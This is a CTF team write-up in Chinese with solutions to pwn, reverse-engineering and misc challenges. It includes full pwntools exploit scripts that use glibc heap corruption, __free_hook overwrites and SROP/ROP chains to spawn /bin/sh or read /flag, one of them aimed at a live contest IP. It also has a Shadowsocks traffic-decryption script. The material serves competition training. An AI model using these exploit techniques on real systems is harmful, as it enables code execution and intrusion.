    MpObj (*str)(struct MpData*); //offset: 0x50
    MpObj (*get)(struct MpData*, MpObj);
    void  (*set)(struct MpData*, MpObj, MpObj);

    MpObj data_ptr[1];
}MpData;
'''

data_object_offset = 0x70
list_node_array_offset = data_object_offset + 0x20
list_node0_offset = list_node_array_offset + 0x10

list_marked, list_len, list_cap = 0, 1, 1
nodes_marked, nodes_stype, nodes_len, nodes_hash = 0, 2, 8, 0
nodes_type = TYPE_STR

list_obj_buf = flat({
    # list obj
    data_object_offset: p32(list_marked),
    data_object_offset + 4: p32(list_len),
    data_object_offset + 8: p32(list_cap),
    data_object_offset + 0x10: p64(list_obj + 0x20),

    # list node array
    list_node_array_offset: p32(nodes_type),
    list_node_array_offset + 8: p64(list_obj + 0x20 + 0x10),

    # list node[0]
    list_node0_offset: p32(nodes_marked),
    list_node0_offset + 4: p32(nodes_stype),
    list_node0_offset + 8: p32(nodes_len),
    list_node0_offset + 0xC: p32(nodes_hash),
    list_node0_offset + 0x10: p64(heap_addr + 0x60),  # chr pie function

}, length=0x180 - 8 - 1, filler='\x00')
log.hexdump(list_obj_buf)

list_obj_mov_string = calc_mov_string(list_obj_buf)
sendcmd("list_obj = {}".format(list_obj_mov_string))
sendcmd("next(b)[0]")

sh.recvuntil('"')
pie = u64(sh.recv(6) + '\x00\x00') - 0x90f0
system = pie + 0x2580
log.success("pie:\t" + hex(pie))

gc(0x200000)
sh.sendline("c = [1, range(1, 10)]")
sendcmd("d = iter(c)")
sendcmd("c.pop()")
sendcmd("next(d)")
gc(0x200000)

data_object_offset = 0xEF0
data_str_function_offset = data_object_offset + 0x50
data_object_buf = flat({
    # data object
    data_object_offset: "/bin/sh\x00",
    data_str_function_offset: p64(system),
}, length=0x1590 - 8 - 1, filler='\x00')
log.hexdump(data_object_buf)
data_obj_mov_string = calc_mov_string(data_object_buf)
sendcmd("data_obj = {}".format(data_obj_mov_string))
sendcmd("str(next(d))")  # call data object str function
sh.interactive()

warmup23

2.35 Off by null,堆风水造UAF,chunk overlap 进行libc got hijack

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
context.log_level = 'debug'
def cmd(idx):
  p.sendlineafter(">> ",str((idx)))
def add(size,payload="A"):
  cmd(1)
  p.sendlineafter("Size:",str(size))
  sa("Note:",payload)
def free(idx):
  cmd(3)
  p.sendlineafter("Index:",str(idx))
def show(idx):
  cmd(2)
  p.sendlineafter("Index:",str(idx))
def exp():
    #context.terminal = ['tmux', 'splitw', '-h']
    #context.log_level = "debug"
    add(0x418, "A"*0x100) #0 A = P->fd
    add(0x108-0x20) #1 barrier
    add(0x438, "B0"*0x100) #2 B0 helper
    add(0x438, "C0"*0x100) #3 C0 = P , P&0xff = 0
    add(0x78,'4'*0x70) #4 barrier
    add(0x488, "H"*0x100) # H0. helper for write bk->fd. vitcim chunk.
    add(0x428, "D"*0x100) # 6 D = P->bk
    add(0x300) # 7 barrier

    # =============================================
    # step 2 use unsortedbin to set p->fd =A , p->bk=D
    free(0) # A
    free(3) # C0
    free(6) # D
    # unsortedbin: D-C0-A   C0->FD=A
    free(2) # merge B0 with C0. preserve p->fd p->bk

    add(0x458, 'a' * 0x438 + p64(0x4c1)[:-2])#0  #2# put A,D into largebin, split BC. use B1 to set p->size=0x551

    # recovery
    add(0x418)#2  # C1 from ub #3 
    add(0x428) #3 # bk  D  from largebin #6
    add(0x418,"0"*0x100)#6  # fd    A from largein #0

    # =============================================
    # step3 use unsortedbin to set fd->bk
    # partial overwrite fd -> bk 
    free(6) # A=P->fd
    free(2) # C1
    # unsortedbin: C1-A ,   A->BK = C1
    add(0x418, 'a' * 8)#2  # 2 partial overwrite bk    A->bk = p
    add(0x418)   #6

    # # =============================================
    # # step4 use ub to set bk->fd
    free(6) # C1
    free(3) # D=P->bk
    # ub-D-C1    D->FD = C1
    free(5) # merge D with H, preserve D->fd 
    add(0x500-8, '6'*0x488 + p64(0x431))#3 # H1. bk->fd = p, partial write \x00

    add(0x3b0) # recovery
    # off by null
    free(4)
    add(0x78,"4"*0x70 + p64(0x4c0))
    add(0x410,"aaaa")
    free(3)
    add(0x430,"a"*0x10 + p64(0) + p64(0x421 + 0x50))
    show(4)
    libc_base = l64() - 0x219ce0
    lg("libc_base",libc_base)
    add(0x300,p64(0x21)*14)
    free(8)
    show(4)
    p.recvuntil("Note: ")
    key = u64(p.recv(5).ljust(8,'\x00'))
    heap_addr = key << 12
    lg("heap_addr",heap_addr)
    lg("key",key)
    plt0 = libc_base + libc.get_section_by_name(
        ".plt").header.sh_addr
    heap_base = heap_addr - 0x1000
    got0_addr = libc_base + libc.dynamic_value_by_tag("DT_PLTGOT")
    lg("got0_addr",got0_addr)
    pop_rsp = libc_base + 0x0000000000035732
    leaver = libc_base + 0x000000000004da83
    pop_rdi = libc_base + 0x000000000002a3e5
    pop_rdx  = libc_base + 0x00000000000796a2
    pop_rsi = libc_base + 0x000000000002be51
    pop_rax = libc_base + 0x0000000000045eb0
    syscall = libc_base + 0x0000000000091316
    # free(7)
    add(0x300)
    free(7)
    free(8)
    free(6)
    stderr = libc_base + libc.sym["_IO_2_1_stderr_"]
    stderr_chain = stderr + 104-0x8
    add(0x461,"a"*0x410 + p64(0) + p64(0x311) + p64(got0_addr ^ key))
    free_hook = libc_base + libc.sym["__free_hook"]
    free_hook1 = free_hook& ~0xfff
    frame = SigreturnFrame()
    frame.rcx = 0x1235
    frame.rdi = 0
    frame.rsi = free_hook1
    frame.rdx = 0x1000
    frame.rax = 0
    frame.rsp = free_hook1
    frame.rip = syscall
    # print(type(frame.))
    frame = str(frame)
    frame = frame.ljust(0x1e0,"\x00")
    frame += p64(0x1F80)
    add(0x300,frame[0:0xe0] + p64(libc_base + libc.sym["environ"]) + frame[0xe8:] )
    setcontext = 0x53a00 + libc_base
    payload = p64(0x218bc0) + p64(heap_addr + 0x50) + p64(setcontext)
    payload = payload.ljust(0x98,'\x00')
    payload += p64(plt0)
    lg("plt0",plt0)
    add(0x300,payload)
    rop = flat({
        0:[pop_rdi,0,pop_rsi,free_hook1 + 0x200,pop_rdx,0x1000,pop_rax,0,syscall,pop_rdi,free_hook1,pop_rsi,0x1000,pop_rdx,0x7,pop_rax,10,syscall,free_hook1 + 0x200]
    })
    p.send(rop)
    # attach(p)
    sc = shellcraft.open("/flag",0)
    sc += shellcraft.read("rax",free_hook1 + 0x400,0x100)
    sc += shellcraft.write(1,free_hook1 + 0x400,0x100)
    sc = asm(sc)
    p.send(sc)

    p.interactive()
if __name__ == "__main__":
    binary = './warmup'
    elf = ELF('./warmup')
    context.binary = binary
    libc = ELF("./libc.so.6")
    if(len(sys.argv) == 3):
        p = remote(sys.argv[1],sys.argv[2])
    else:
        p = process(binary)
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    exp()

simpleinterpreter

https://github.com/LiaoSirui/blog.liaosirui.com/tree/62174e8667b75e9d3a6911b59015c3238eabe6d4/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/%E5%AE%8C%E6%88%90%E4%B8%80%E4%B8%AAC%E7%BC%96%E8%AF%91%E5%99%A8

from pwn import *
#sh = process('./simpleinterpreter')
sh = remote('101.200.122.251', 13410)
context.log_level = "debug"
code = '''
int main()
{
    void* p1;
    void* p2;
    void* p3;
    void* p4;
    void* p5;
    p1 = malloc(0x500);
    p2 = malloc(0x18);
    p3 = malloc(0x18);
    free(p1);
    printf(p1);
    free(p3);
    free(p2);
    read(0, p2, 8);
    p4 = malloc(0x18);
    p5 = malloc(0x18);
    read(0, p5, 0x10);
    free(p5);
    return 0;
}'''

sh.sendlineafter("Code size:", str(len(code)))
sh.sendafter("Please give me the code to interpret:", code)
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebca0
log.success("libc_base:\t" + hex(libc_base))
free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x4f420
sh.send(p64(free_hook - 8))
sh.send("/bin/sh\x00" + p64(system))
sh.interactive()

Reverse

Ezre

在main函数看不出什么,然后发现奇怪函数并且可知这是SM4

img

于是往上搜索发现其密钥与密文,再往上找可以知道ptrace等出题原貌,不过flag在这已经可以得知

img

无魔改SM4直接解密即可

img

UNNAME

直接看so文件check,依托答辩,调着逆吧,时间问题

嗯调试分析并配合好看的BN

img

IDA有调试所以主要还是在IDA

    do
            {
              while ( 1 )
              {
                cnt_and_7 = cnt & 7;
                if ( (cnt & 3) != 0 )
                  break;
                key_part = &key + 2 * cnt_and_7;
                data_part = (int64x2_t *)(&data + 2 * (cnt >> 2));
                T = vaddq_s64(data_part[1], input_sub_part);
                tmp1 = data_part->part[1] + *((_QWORD *)&input_pre_part + 1);
                out_0 = data_part->part[0] + input_pre_part + tmp1;
                out_3 = __ROR8__(tmp1, -*key_part) ^ out_0;
                *(_QWORD *)&input_pre_part = out_0;
                rotNum2 = __ROR8__(T.part[1], -key_part[1]);
                input_sub_part.part[1] = out_3;
                out_2 = vaddvq_s64(T);
                out_1 = rotNum2 ^ out_2;
                *((_QWORD *)&input_pre_part + 1) = out_1;
                ++cnt;
                input_sub_part.part[0] = out_2;
                if ( cnt == 72 )
                  goto LABEL_147;
              }
              key_part1 = &key + 2 * cnt_and_7;
              out_0 = *((_QWORD *)&input_pre_part + 1) + input_pre_part;
              *(_QWORD *)&input_pre_part = out_0;
              out_3 = __ROR8__(*((_QWORD *)&input_pre_part + 1), -*key_part1) ^ out_0;
              input_sub_part.part[0] = vaddvq_s64(input_sub_part);
              v63 = __ROR8__(input_sub_part.part[1], -key_part1[1]);
              out_2 = input_sub_part.part[0];
              input_sub_part.part[1] = out_3;
              out_1 = v63 ^ input_sub_part.part[0];
              *((_QWORD *)&input_pre_part + 1) = out_1;
              ++cnt;
            }
            while ( cnt != 72 );
LABEL_147:
            *(_QWORD *)&v64 = out_0 + 0x5474374041455247LL;
            *(_QWORD *)&v65 = out_2 + 0xBAD39663B0B3ADD3uLL;
            *((_QWORD *)&v64 + 1) = out_1 + 0x823ECE10EBF188BEuLL;
            *((_QWORD *)&v65 + 1) = out_3 + 0x6523745F644E5642LL;
            v127 = xmmword_7B9C280770;
            v128 = xmmword_7B9C2807D0;
            v87 = v64;
            v88 = v65;
            if ( !((out_0 + 0x5474374041455247LL) ^ 0x6835B4293DD0D39ELL | (out_1 + 0x823ECE10EBF188BEuLL) ^ 0xE69C68D3BC875A19LL | (out_2 + 0xBAD39663B0B3ADD3uLL) ^ 0x1B69DAF30AE1351FLL | (out_3 + 0x6523745F644E5642LL) ^ 0xACA0DA795EF62809LL) )
              v47 = "right!";
          }

img

于是对应写出正向加密脚本

data = [0x465F5530595F4E6F, 0xB378E3C5C3A47B89, 0xD3A49492B08792C3, 0x5474374041455247, 0x6523745F644E5630, 0xD3A49492B08792C3, 0x8E9565954947CC84, 0x33E95EAA8C9B6366, 0x5F30535F5933335F, 0x8E9565954947CC84, 0x823ECE10EBF188BE, 0x465F5530595F4E71, 0x5474374041455247, 0x823ECE10EBF188BE, 0xBAD39663B0B3ADD3, 0x6523745F644E5633, 0x33E95EAA8C9B6365, 0xBAD39663B0B3ADD3, 0x9F44A2B46C50D06D, 0x5F30535F59333363, 0x465F5530595F4E6F, 0x9F44A2B46C50D06D, 0xAD85C2C5B88958B8, 0x547437404145524C, 0x6523745F644E5630, 0xAD85C2C5B88958B8, 0xC8E878739899B1AB, 0x33E95EAA8C9B636B, 0x5F30535F5933335F, 0xC8E878739899B1AB, 0x6E0A8CFF949DDDA2, 0x465F5530595F4E76, 0x5474374041455247, 0x6E0A8CFF949DDDA2, 0x94B4C496B8B573C8, 0x6523745F644E5638, 0x33E95EAA8C9B6365, 0x94B4C496B8B573C8, 0xD997B592BBA2B594, 0x5F30535F59333368, 0x465F5530595F4E6F, 0xD997B592BBA2B594, 0x995181B46135AD9C, 0x5474374041455251, 0x6523745F644E5630, 0x995181B46135AD9C, 0xA2C9A6A6A09B77A0, 0x33E95EAA8C9B6370, 0x5F30535F5933335F, 0xA2C9A6A6A09B77A0, 0xA85D9FDDE3EFC2C9, 0x465F5530595F4E7B, 0x5474374041455247, 0xA85D9FDDE3EFC2C9, 0x808083856161C8AC, 0x6523745F644E563D, 0x33E95EAA8C9B6365, 0x808083856161C8AC, 0xB378E3C5C3A47B89, 0x5F30535F5933336D, 0x465F5530595F4E6F, 0xB378E3C5C3A47B89, 0xD3A49492B08792C3, 0x5474374041455256, 0x6523745F644E5630, 0xD3A49492B08792C3, 0x8E9565954947CC84, 0x33E95EAA8C9B6375, 0x5F30535F5933335F, 0x8E9565954947CC84, 0x823ECE10EBF188BE, 0x465F5530595F4E80]
key = [0x0E, 0x10, 0x34, 0x39, 0x17, 0x28, 0x05, 0x25, 0x19, 0x21, 0x2E, 0x0C, 0x3A, 0x16, 0x20, 0x20]
input = [0x3837363534333231, 0x6463626164636261, 0x3132333435363738, 0x6867666568676665]
# & 0xFFFFFFFFFFFFFFFF

def rol(num, n):
    return ((num << n) & 0xFFFFFFFFFFFFFFFF) | ((num >> (64 - n)) & 0xFFFFFFFFFFFFFFFF)

def tellme(input):
    for i in range(4):
        print(hex(input[i]), end = ", ")
    print()
    print()
i = 0
while(i < 72):
    i_and_7 = i & 7
    if (i & 3) == 0:
        data_part = [data[(i >> 2) * 4], data[(i >> 2) * 4 + 1]]
        # print(hex(data_part[0]), hex(data_part[1]))
        key_part = [key[i_and_7 * 2], key[i_and_7 * 2 + 1]]
        # print(hex(key_part[0]), hex(key_part[1]))

        T = [(data[(i >> 2) * 4 + 2] + input[2]) & 0xFFFFFFFFFFFFFFFF, (data[(i >> 2) * 4 + 3] + input[3]) & 0xFFFFFFFFFFFFFFFF]
        tmp1 = (data_part[1] + input[1]) & 0xFFFFFFFFFFFFFFFF

        out_0 = (data_part[0] + input[0] + tmp1) & 0xFFFFFFFFFFFFFFFF
        # print(hex(tmp1), hex(out_0))
        out_3 = rol(tmp1, key_part[0]) ^ out_0
        # print(hex(out_3))
        input[0] = out_0

        ror_num2 = rol(T[1], key_part[1])
        # print(hex(ror_num2))
        input[3] = out_3

        out_2 = (T[0] + T[1]) & 0xFFFFFFFFFFFFFFFF
        out_1 = ror_num2 ^ out_2
        # print(hex(out_1))

        input[1] = out_1
        input[2] = out_2
        i += 1
        print("round:{}".format(hex(i)), end =" ")
        tellme(input)
    else:
        key_part = [key[i_and_7 * 2], key[i_and_7 * 2 + 1]]
        # print(hex(key_part[0]), hex(key_part[1]))
        out_0 = (input[0] + input[1]) & 0xFFFFFFFFFFFFFFFF
        input[0] = out_0

        out_3 = rol(input[1], key_part[0]) ^ out_0
        # print(hex(out_3))

        input[2] = (input[2] + input[3]) & 0xFFFFFFFFFFFFFFFF
        out_2 = input[2]
        # print(hex(out_2))

        v63 = rol(input[3], key_part[1])
        input[3] = out_3

        out_1 = v63 ^ input[2]
        # out_1 = rol(input[3], key_part[1]) ^ out_2
        # print(hex(out_1))
        input[1] = out_1
        i += 1
        print("round:{}".format(hex(i)), end =" ")
        tellme(input)

print(hex((0x6835B4293DD0D39E - 0x5474374041455247) & 0xFFFFFFFFFFFFFFFF), end = ",")
print(hex((0xE69C68D3BC875A19 - 0x823ECE10EBF188BE) & 0xFFFFFFFFFFFFFFFF), end = ",")
print(hex((0x1B69DAF30AE1351F - 0xBAD39663B0B3ADD3) & 0xFFFFFFFFFFFFFFFF), end = ",")
print(hex((0xACA0DA795EF62809 - 0x6523745F644E5642) & 0xFFFFFFFFFFFFFFFF), end = ",")

数据测没问题,然后写逆向脚本,出!

from z3 import *

input = [BitVec("input[%d]" % i, 64) for i in range(4)]
sol = Solver()

data = [0x465F5530595F4E6F, 0xB378E3C5C3A47B89, 0xD3A49492B08792C3, 0x5474374041455247, 0x6523745F644E5630, 0xD3A49492B08792C3, 0x8E9565954947CC84, 0x33E95EAA8C9B6366, 0x5F30535F5933335F, 0x8E9565954947CC84, 0x823ECE10EBF188BE, 0x465F5530595F4E71, 0x5474374041455247, 0x823ECE10EBF188BE, 0xBAD39663B0B3ADD3, 0x6523745F644E5633, 0x33E95EAA8C9B6365, 0xBAD39663B0B3ADD3, 0x9F44A2B46C50D06D, 0x5F30535F59333363, 0x465F5530595F4E6F, 0x9F44A2B46C50D06D, 0xAD85C2C5B88958B8, 0x547437404145524C, 0x6523745F644E5630, 0xAD85C2C5B88958B8, 0xC8E878739899B1AB, 0x33E95EAA8C9B636B, 0x5F30535F5933335F, 0xC8E878739899B1AB, 0x6E0A8CFF949DDDA2, 0x465F5530595F4E76, 0x5474374041455247, 0x6E0A8CFF949DDDA2, 0x94B4C496B8B573C8, 0x6523745F644E5638, 0x33E95EAA8C9B6365, 0x94B4C496B8B573C8, 0xD997B592BBA2B594, 0x5F30535F59333368, 0x465F5530595F4E6F, 0xD997B592BBA2B594, 0x995181B46135AD9C, 0x5474374041455251, 0x6523745F644E5630, 0x995181B46135AD9C, 0xA2C9A6A6A09B77A0, 0x33E95EAA8C9B6370, 0x5F30535F5933335F, 0xA2C9A6A6A09B77A0, 0xA85D9FDDE3EFC2C9, 0x465F5530595F4E7B, 0x5474374041455247, 0xA85D9FDDE3EFC2C9, 0x808083856161C8AC, 0x6523745F644E563D, 0x33E95EAA8C9B6365, 0x808083856161C8AC, 0xB378E3C5C3A47B89, 0x5F30535F5933336D, 0x465F5530595F4E6F, 0xB378E3C5C3A47B89, 0xD3A49492B08792C3, 0x5474374041455256, 0x6523745F644E5630, 0xD3A49492B08792C3, 0x8E9565954947CC84, 0x33E95EAA8C9B6375, 0x5F30535F5933335F, 0x8E9565954947CC84, 0x823ECE10EBF188BE, 0x465F5530595F4E80]
key = [0x0E, 0x10, 0x34, 0x39, 0x17, 0x28, 0x05, 0x25, 0x19, 0x21, 0x2E, 0x0C, 0x3A, 0x16, 0x20, 0x20]
enc = [ 0xcd665047be660a98, 0x1dc530058008afb1, 0xcd18d750b67a2484, 0xfb2ea0083e92159f]
enc = [0x13c17ce8fc8b8157,0x645d9ac2d095d15b,0x6096448f5a2d874c,0x477d6619faa7d1c7]

def rol(num, n):
    return ((num << n) & 0xFFFFFFFFFFFFFFFF) | (num >> (64 - n)) & 0xFFFFFFFFFFFFFFFF

def tellme(input):
    for i in range(4):
        print(hex(input[i]), end = ", ")
    print()
    print()

i = 71
while (i >= 0):
    i_and_7 = i & 7
    if (i & 3) == 0:
        data_part = [data[(i >> 2) * 4], data[(i >> 2) * 4 + 1]]
        # print(hex(data_part[0]), hex(data_part[1]))
        key_part = [key[i_and_7 * 2], key[i_and_7 * 2 + 1]]
        T = [0, 0]

        out_1 = enc[1]
        out_2 = enc[2]
        ror_num2 = out_1 ^ out_2
        out_3 = enc[3]
        out_0 = enc[0]

        T[1] = rol(ror_num2, (64 - key_part[1]))
        T[0] = (out_2 - T[1]) & 0xFFFFFFFFFFFFFFFF
        tmp1 = rol(out_0 ^ out_3, (64 - key_part[0]))
        enc[0] = (out_0 - tmp1 - data_part[0]) & 0xFFFFFFFFFFFFFFFF
        enc[1] = (tmp1 - data_part[1]) & 0xFFFFFFFFFFFFFFFF
        enc[2] = (T[0] - data[(i >> 2) * 4 + 2]) & 0xFFFFFFFFFFFFFFFF
        enc[3] = (T[1] - data[(i >> 2) * 4 + 3]) & 0xFFFFFFFFFFFFFFFF
        i -= 1
        print("round:{}".format(hex(i)), end =" ")
        tellme(enc)
    else:
        key_part = [key[i_and_7 * 2], key[i_and_7 * 2 + 1]]

        out_0 = enc[0]
        out_1 = enc[1]
        out_2 = enc[2]
        out_3 = enc[3]
        enc[3] = rol(out_1 ^ out_2, (64 - key_part[1]))
        enc[1] = rol(out_0 ^ out_3, (64 - key_part[0]))
        enc[0] = (out_0 - enc[1]) & 0xFFFFFFFFFFFFFFFF
        enc[2] = (out_2 - enc[3]) & 0xFFFFFFFFFFFFFFFF
        i -= 1
        print("round:{}".format(hex(i)), end =" ")
        tellme(enc)

import struct

flag = b''
for i in range(4):
    flag += struct.pack("<Q", enc[i])
print(flag)

# flag{7hIs_I$_nEw_Try1N9_@cu7U@1}

MISC

Happy Chess

import numpy as np
import sympy as sp

def getA():
    a=[]
    for i in range(81):
        b=[]
        for j in range(81):
            if i/9==j/9 or i%9==j%9:
                b.append(1)
            else:
                b.append(0)
        a.append(b)
    return a

def gaussian_elimination(A, b):
    # 合并矩阵A和向量b
    augmented_matrix = np.column_stack((A, b))

    # 进行高斯消元
    n = len(b)
    for i in range(n):
        # 将当前列的主元素调整为1
        augmented_matrix[i] = augmented_matrix[i] / augmented_matrix[i, i]

        # 将其他行的当前列元素消为0
        for j in range(n):
            if i != j:
                augmented_matrix[j] = augmented_matrix[j] - augmented_matrix[j, i] * augmented_matrix[i]

    # 提取解向量
    solution = augmented_matrix[:, -1]

    return solution
a=np.array(getA())
b=np.array([0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0])
b=np.array([1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1])
#print(sharpe(a))
A_sp = sp.Matrix(a)
B_sp = sp.Matrix(b)
print(np.linalg.cond(a))

#aaaaa = np.linalg.solve(a, b)
#X, residuals, rank, s = np.linalg.lstsq(a, b, rcond=None)
#x_sp = A_sp.solve_least_squares(B_sp)
#x_frac = [sp.nsimplify(val) for val in x_sp]
#x_frac=solve_linear_equations(a,b)
x_frac=gaussian_elimination(a,b)
x_2=[]
numofFushu=0
for i in x_frac:
    #out=eval(str(i).replace('/','%'))
    out=eval(str(i))
    if out<0:
        numofFushu+=1
    x_2.append(out)
x_3=[]
for i in range(len(x_2)):
    if (numofFushu>40 and x_2[i]>0) or (numofFushu<40 and x_2[i]<0):
        x_3.append(1)
        print(f'{i//9+1} {i%9+1}')
        #print(f'{i%9+1} {i//9+1}')
    else:
        x_3.append(0)

print(x_3)
#for i in range(len)
#print(x_3.reshape((9,9)))

谍影重重3.0

流量,从特征来看是ss

然后按照这些文章可以进行解密,但是得算key,就是aes256加密

https://blog.rexskz.info/redirect-attack-weakness-of-ss-stream-cipher.html

https://xz.aliyun.com/t/10251

https://github.com/shadowsocksrr/shadowsocksr/blob/fd723a92c488d202b407323f0512987346944136/shadowsocks/encrypt.py#L152

key, _ = EVP_BytesToKey(password, key_len, iv_len)

纸飞机一共支持['aes-128-cbc', 'aes-192-cbc', 'aes-256-cbc', 'aes-128-cfb', 'aes-192-cfb', 'aes-256-cfb', 'aes-128-ofb', 'aes-192-ofb', 'aes-256-ofb', 'aes-128-ctr', 'aes-192-ctr', 'aes-256-ctr']这么多种算法,挨个爆破弱密码

img

实际上是aes-256-cfb 明文密码superman 转换过的密码是84d961568a65073a3bcf0eb216b2a576af2a352c99aa141584edf2874f7c60a5

iv长16个字节

img

tcp分片了,数据包no7放no6后面,解码得到完整的word文档

img

dc7e57298e65949102c17596f1934a97

import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES

def EVP_BytesToKey(password, key_len, iv_len):
    # equivalent to OpenSSL's EVP_BytesToKey() with count 1
    # so that we make the same key and iv as nodejs version
    if hasattr(password, 'encode'):
        password = password.encode('utf-8')
    # cached_key = '%s-%d-%d' % (password, key_len, iv_len)
    # r = cached_keys.get(cached_key, None)
    # if r:
        # return r
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
    iv = ms[key_len:key_len + iv_len]
    # cached_keys[cached_key] = (key, iv)
    return key, iv

OpenSSLCrypto=None

ciphers = {
    'aes-128-cbc': (16, 16, OpenSSLCrypto),
    'aes-192-cbc': (24, 16, OpenSSLCrypto),
    'aes-256-cbc': (32, 16, OpenSSLCrypto),
    'aes-128-cfb': (16, 16, OpenSSLCrypto),
    'aes-192-cfb': (24, 16, OpenSSLCrypto),
    'aes-256-cfb': (32, 16, OpenSSLCrypto),
    'aes-128-ofb': (16, 16, OpenSSLCrypto),
    'aes-192-ofb': (24, 16, OpenSSLCrypto),
    'aes-256-ofb': (32, 16, OpenSSLCrypto),
    'aes-128-ctr': (16, 16, OpenSSLCrypto),
    'aes-192-ctr': (24, 16, OpenSSLCrypto),
    'aes-256-ctr': (32, 16, OpenSSLCrypto),
    'aes-128-cfb8': (16, 16, OpenSSLCrypto),
    'aes-192-cfb8': (24, 16, OpenSSLCrypto),
    'aes-256-cfb8': (32, 16, OpenSSLCrypto),
    'aes-128-cfb1': (16, 16, OpenSSLCrypto),
    'aes-192-cfb1': (24, 16, OpenSSLCrypto),
    'aes-256-cfb1': (32, 16, OpenSSLCrypto),
    'bf-cfb': (16, 8, OpenSSLCrypto),
    'camellia-128-cfb': (16, 16, OpenSSLCrypto),
    'camellia-192-cfb': (24, 16, OpenSSLCrypto),
    'camellia-256-cfb': (32, 16, OpenSSLCrypto),
    'cast5-cfb': (16, 8, OpenSSLCrypto),
    'des-cfb': (8, 8, OpenSSLCrypto),
    'idea-cfb': (16, 8, OpenSSLCrypto),
    'rc2-cfb': (16, 8, OpenSSLCrypto),
    'rc4': (16, 0, OpenSSLCrypto),
    'seed-cfb': (16, 16, OpenSSLCrypto),
}

# aes = AES.MODE_CTR
# method = "aes-128-ctr"

# aes = AES.MODE_CFB
# method = "aes-256-cfb"

import sys
method = sys.argv[1]
assert method in ciphers
if method.endswith("-ctr"):
    aes = AES.MODE_CTR
elif method.endswith("-cfb"):
    aes = AES.MODE_CFB
elif method.endswith("-cbc"):
    aes = AES.MODE_CBC
elif method.endswith("-ofb"):
    aes = AES.MODE_OFB
else:
    raise Exception("unknown method")

key_size,iv_size,_ = ciphers[method]
print(method,key_size,iv_size)

encrypted_data = bytes.fromhex("d4a63b413a4f43446494c8945fef1d10813a091b8c5f5e3051adaca0b429c5a6e05531ee93ed1bca154f5ac4665c26112530284b5c9b38a74d605861dcd0172ba53c811473fcc877dc7da3688798bd06a731b960eaffe0b3ac59c3bfda54a6ef7329bc3d0e6f69680ca7a362e4618a879d53e4a610770331f1d8901579eefc8275f72d50c4ab264dd010826175ed1c08668a7b9d343da1061dbde408cc48385ca0f3a7b9b6ea50987084a7172499a21475cfd01cc3dd2b090d0f02b21081d7918aeeef0e4cba7602e567d247b9a57e0fc53e7e753acfd2ee206548ef506ff8955b3b8f6eef6477cb244134204cef23eb179e880db517c2134c8e3f0c9f276111ac2cb65522513c24bb2c1e8fbd4e648ac47993085a0a6eb08c637ca7e7e159166e7230fb9ad0a952aeda34cc4b07721b226e9e11cd96e06bdc17c8c33afa6b6d5008fdbd68885c630c8f08f45e6e9eb448a077b9d5e96bcee817d15960747c40533264f9498445c1dcad4eacf6adedd6be55f5d5ab030fb75273e9f1d321bdd93c65d06d6bdf7578e9788975766aca016f522abb160ac54b40820f0752a596420aee4abe797e2512f964e94856546500b9a0a809b785883fc1c0c5760b8d43f2f0c3c8b4cf9f65a28ecc38664d7ca38b277a0ccc669b7f5d8d93cfb1182a800213f43b2e99dc0115f68c85f172bfc020e66469fc7b366dc2e44402739740b7fbae3f69f7e6926398c5dece5dcc66f1115e3a64cd918ffc5b391696e480050023965287022b8da544ef43241b7996e2e3761018eda61bf7225febe77188372a24964c3d67480d850874b80a9022ae268b768c0fdf45c49a67de89ef647eb57b1008151367719825e9a0b48a7a1ada525a5d5cb738d57dc337451c4a84c8429815de886d7efd2d9ad97da4b0a8801437bc97758b79acee1749753f94bfa1ab19411d34c7194c78b857a09ee850171eb663bd1979f9fed15a5f82e1f627ebe1187d751d8a1ce42d84fb76ea9c7e986183f8d3899de183e82e8eac15546efc4262d028d18dfea47cc249aae9387847020f5a52a3533a67c92f8f42eacff5319f803daddacdb6d2c37a495e9799c29e5730fa7ad7ebdf68dc8444426be9d6b14e15d27effde56502f29bfd4e2f3cb03ddd7f49961e2677b05194479d2fed9d3c8e3d4a3e1eb367b5cc915d39f31aaa573a48a195ca91450bb031a4c333c1d54bb42f3b121c407c136a181cb8b1901187ae13015357ed3d5424f02cdb1ab4512b9259fa297f201d2934955ce44ee67888a2a2db38805fc102fd932ff20eefeb7691c41db085aee8a61f5a09f55e593d4326e6cbbcf3eb783e1da3e3bf51ffe3cf2feacdd88ae5ccbe171ee5282f920a6f97c6183d6f2b6d30bf310c4d52b3336f9e45e9d7e73ed15bfa68d0391f075bf511d1ad3e505e467bbfeb64585549ace564314947531c9af4e27f671462453d42ca3f15b5c96beb9e3bee8513158f35b22dacc7b02abffa04cf5eea6a1468a0a1b9167ff987160bb698bc37300173b9ec79de686bc7c9181f0cbab5ea1106ce99adca4e7c6660a47c9147ecdb96875cd2c16c79eb0b3f318d30201d07b970f7af9992f2394f5d6492be8f2124c3084fb67f0ce3e7556e7185e5c77fb99603208b482e52487aacd98a8f3c725dbfab4c1bd35f36a45d9c8ca2cb71163f22c640d80b222c1c